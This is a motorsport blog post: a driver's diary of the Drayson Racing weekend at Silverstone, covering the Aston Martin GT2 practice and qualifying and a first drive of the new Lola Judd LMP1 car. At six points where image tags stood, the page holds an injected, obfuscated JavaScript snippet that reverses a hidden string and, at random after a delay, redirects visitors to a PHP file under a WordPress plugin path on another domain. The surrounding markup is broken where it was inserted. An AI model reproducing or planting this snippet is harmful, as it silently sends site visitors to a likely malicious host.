LMP1 Racing. Diary from the driving seat.

$VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston/phil/drayson/2009-DraysonRacingLolawithJuddPo-1.jpg”>

This is a first for us at crankandpiston and one that I am really excited about. Firstly, following closely the exploits of Jonny Cocker and Lord Drayson as they race around legendary US tracks in the ALMS Series has been a personal past-time of mine for a while now and secondly Jonny and I both have a shared passion for mkv gti’s that led to a number of emails to each other discussing the finer points about how to make the German hatch as fast as possible! He is way ahead of us at the moment though!! I can’t also forget to mention that Jonny is one of the most successful young GT racers of a generation and is tearing it up in quite possibly the most incredible looking and sounding race cars of the last few years – the Aston Martin GT2!

So back to the story – after bumping into Jonny and the team in Germany I asked whether he would be interested in writing a diary of events for us about his exploits at Silverstone and the almost to exciting to contain news regarding his and teams first foray into LMP1 racing. Take it away Jonny…

$VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston/phil/drayson/2009-Silverstone-AstonatSpeed-Image.jpg”>


So! Another weekend of racing!! I can’t wait for this one, racing at home in the UK at Silverstone GP in the LMS 1000k race with Drayson Racing in the Aston Martin Vantage GT2. This weekend is going to be a little different though as the team have just taken delivery of the new Lola Judd LMP1 car, which I’m really hoping I should be able to have a little drive of today.

Now at the Silverstone Stowe circuit and looking at the new LMP1 car. First impressions are that it’s an amazing looking car. The colour scheme and the futuristic looks of this car are amazing. This is the first time that I have been up close to the car and I have to say it looks pretty impressive! The plan for today is to shakedown the car, hopefully checking that all of the systems are working correctly, and basically putting everyone’s mind at peace after the fast build. This car was completed in just over 2 weeks, pretty incredible really and a credit to everyone that has been involved at Drayson Racing, Lola and Judd!

$VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston/phil/drayson/2009-Drayson-Silverstone-JonnyCo-1.jpg”>

Just had my first drive of the LMP1 car and all I can say is ‘Wow’. It’s an amazing car, so nice to drive, does everything that you ask of it and the power is never ending. At around the 700hp mark and only 900kg, gives an idea what it feels like to be inside at full throttle! So now I’m pretty giddy, going over to see the guys at the garage on the main track and see what the plan is for tomorrows running!

$VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston/phil/drayson/2009-Drayson-Silverstone-AstononTra.jpg”>


At the track and just about to go to the first free practice briefing. Basically before each session we have a briefing where Graham and Teena, the teams two engineers along with Dale White, the team manager, will explain to us drivers, myself and Paul Drayson, what the plans are for the next session. After each session we have a de-brief where we will discuss all the events of the last hour or so. This is normal team procedure and an important part of the weekend; this is where all of the hard work really happens.

We had a good couple of sessions today. Third fastest in the first session and fourth in the second hour. We’re pretty close to the pace too. I’m feeling pretty confident about the weekend. The car has definitely came on since our last race at Nürburgring and we’re hopeful that with some planned changes overnight the car will be improved further for the third free practice hour tomorrow morning.

$VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston/phil/drayson/2009-Drayson-Silverstone-JonnyCocke.jpg”>


Today we have another one hour free practice session then the 20 minute qualifying session. There have been some small changes over night that should help us look after the Michelin tyres a little better on a long run and were going to try and get a good idea of how the tyres will hold up over the race distance.

The changes made to the car overnight worked great. We’re now much kinder on the tyres over a long run simulation without really hurting our lap times, that is a great result. We are now going to make some changes for qualifying to maximize the performance over the two planned laps.

$VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston/phil/drayson/2009-Silverstone-AstonLeadingPorsch.jpg”>

Qualifying went well. We were P6 in the end in a very close session. Another couple of tenths faster would have put us top three. I was really happy with the way it turned out. The plan was to wait right until the last five minutes of the session before I was sent out to do the qualifying laps. The car was fueled for two laps, as over the weekend we had found the car was a little better on the second lap. Silverstone is a pretty smooth track so the tyres need working over the first flying lap to really generate the ultimate grip levels. Sure enough the car was a tenth faster on the second lap but the first flyer was pretty good. I was happy with both laps, very tidy and pushing 100%. The car is good round here and I’m looking forward to the race. We’re always much closer in terms of pace to the leaders in the race so I think being this close in qualifying is a sure sign that we’re going to be very competitive tomorrow! Fingers crossed!!

Categories: Race


Comments are closed